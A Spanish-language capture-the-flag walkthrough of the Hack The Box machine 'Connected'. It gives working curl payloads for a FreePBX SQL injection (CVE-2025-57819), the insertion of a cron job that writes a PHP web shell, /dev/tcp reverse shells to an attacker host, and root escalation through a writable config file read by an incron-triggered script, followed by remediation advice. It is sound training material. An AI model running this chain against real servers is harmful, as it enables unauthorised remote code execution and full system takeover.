
Este walkthrough documenta el compromiso completo de la máquina Connected de HTB.
Este documento detalla el compromiso completo de la máquina HTB Connected.
La cadena de ataque comienza con una vulnerabilidad de inyección SQL no autenticada en FreePBX, que se aprovecha para obtener ejecución de código como el usuario asterisk mediante un trabajo cron manipulado. Un archivo de configuración con permisos de escritura combinado con un disparador incron permite entonces la escalada de privilegios a root.
Este caso demuestra cómo las vulnerabilidades de aplicaciones web, cuando se combinan con permisos locales débiles y automatización privilegiada insegura, pueden llevar al compromiso total del sistema.
Un escaneo rápido de puertos revela los puertos abiertos del objetivo:
nmap -T5 --open <MACHINE_IP>
| Puerto | Servicio |
|---|---|
| 22 | SSH |
| 80 | HTTP |
| 443 | HTTPS |
Una inspección adicional muestra un servidor Apache ejecutando PHP 7.4, con una redirección HTTP a:
http://connected.htb/
Para acceder correctamente al sitio, añade el mapeo del host virtual:
echo "<MACHINE_IP> connected.htb" | sudo tee -a /etc/hosts
Navegando a http://connected.htb/ se revela:
FreePBX 16.0.40.7
La investigación identifica CVE-2025-57819, una vulnerabilidad de inyección SQL basada en errores no autenticada en el componente Endpoint Manager de FreePBX.
Confirma la vulnerabilidad extrayendo el usuario de la base de datos:
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"
La respuesta contiene:
~USER:freepbxuser@localhost~
Esto confirma que la inyección SQL funciona y que la aplicación se conecta a MySQL como:
freepbxuser@localhost
FreePBX almacena los trabajos programados en la tabla cron_jobs.
Al inyectar una entrada maliciosa en esta tabla, se pueden programar comandos arbitrarios para su ejecución.
El siguiente payload crea un web shell PHP en la raíz web:
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/c1sco.php',NULL,'* * * * *',30,1,1)-- "
El servidor devuelve un error genérico 500, pero la sentencia SQL se ejecuta correctamente.
Después de aproximadamente un minuto, verifica que el web shell se ha creado:
curl -ik "https://connected.htb/c1sco.php?cmd=id"
Salida:
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)
Ahora tenemos ejecución de comandos como el usuario asterisk a través de peticiones HTTP.
Inicia un listener de Netcat en la máquina atacante:
nc -lvnp 4444
Dispara una reverse shell de Bash a través del web shell:
curl -ik "https://connected.htb/c1sco.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"
Se establece una conexión:
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=999(asterisk) gid=1000(asterisk)
Ahora tenemos una shell interactiva como el usuario asterisk.
Busca archivos con permisos de escritura bajo /etc, excluyendo falsos positivos conocidos:
find /etc -writable 2>/dev/null | grep -v "/etc/wanpipe\|/etc/asterisk\|/etc/schmooze" | head -20
Un resultado notable es:
/etc/dahdi/init.conf
A continuación, examina la configuración de incron:
cat /etc/incron.d/*
Esto revela el siguiente vigilante de sistema de archivos:
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
Esto significa que cada vez que se escribe en el archivo centinela:
/var/spool/asterisk/sysadmin/dahdi_restart
se ejecuta el siguiente script:
/usr/sbin/sysadmin_dahdi_restart
Inspeccionando el script se revela que obtiene recursos de:
/etc/dahdi/init.conf
Dado que /etc/dahdi/init.conf es escribible por el usuario asterisk y es utilizado por un proceso root, proporciona una vía para la ejecución arbitraria de comandos como root.
Inicia un segundo listener de Netcat en el puerto 4445:
nc -lvnp 4445
Desde la shell de asterisk, añade un payload de reverse shell al archivo de configuración escribible:
echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1" &' >> /etc/dahdi/init.conf
Dispara la acción de incron escribiendo en el archivo vigilado:
echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart
En cuestión de segundos, la shell root se conecta:
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=0(root) gid=0(root) groups=0(root)
🎯 ¡Acceso root completo conseguido!
cat /home/asterisk/user.txt
Salida:
HTB{...user_flag...}
cat /root/root.txt
Salida:
HTB{...root_flag...}
Inyección SQL No Autenticada
│
▼
Ejecución de Consulta MySQL
│
▼
Insertar Trabajo Cron Malicioso
│
▼
PHP Web Shell
│
▼
Shell asterisk
│
▼
/etc/dahdi/init.conf Escribible
│
▼
Disparador incron
│
▼
Ejecución de Comandos Root
│
▼
root
| Vulnerabilidad | Impacto |
|---|---|
| Inyección SQL No Autenticada | Expuso el contexto del usuario de la base de datos y proporcionó un punto de apoyo para escribir datos maliciosos |
| Inyección de Trabajos Cron | Habilitó la ejecución remota de código como una cuenta de servicio con privilegios bajos |
Usa consultas parametrizadas y validación estricta de entrada para todas las operaciones de base de datos.
Nunca concatenes entrada controlada por el usuario directamente en consultas SQL.
Los archivos de configuración consumidos por servicios privilegiados no deberían ser escribibles por cuentas de servicio con privilegios bajos.
En particular, revisa los permisos de los archivos bajo:
/etc/
Audita regularmente las tareas programadas y los vigilantes del sistema de archivos.
Los trabajos privilegiados no deberían ejecutar comandos basados en archivos que usuarios no confiables puedan modificar.
Los scripts propiedad de root deberían evitar obtener recursos de archivos de configuración que puedan ser modificados por usuarios sin privilegios.
Las aplicaciones y servicios web deberían ejecutarse con los permisos mínimos necesarios para su funcionamiento.
Reducir los privilegios del entorno FreePBX/Apache puede limitar significativamente el impacto de un compromiso exitoso de la aplicación.
CVE-2025-57819
│
▼
Inyección SQL No Autenticada
│
▼
Manipulación de la Tabla cron_jobs
│
▼
PHP Web Shell Programado
│
▼
Usuario asterisk
│
▼
/etc/dahdi/init.conf Escribible
│
▼
Vigilante de Archivos incron
│
▼
Script DAHDI Privilegiado
│
▼
Shell Root
│
▼
🏆 Compromiso Total del Sistema
Aviso legal: Este informe tiene fines educativos y de pruebas de seguridad autorizadas, como los laboratorios de Hack The Box y entornos controlados.
| Archivo de Configuración Escribible + incron | Permitió la escalada directa de privilegios a root |
| Script Privilegiado que Obtiene Recursos de Archivo Escribible por el Usuario | Permitió que comandos arbitrarios se ejecutaran con privilegios root |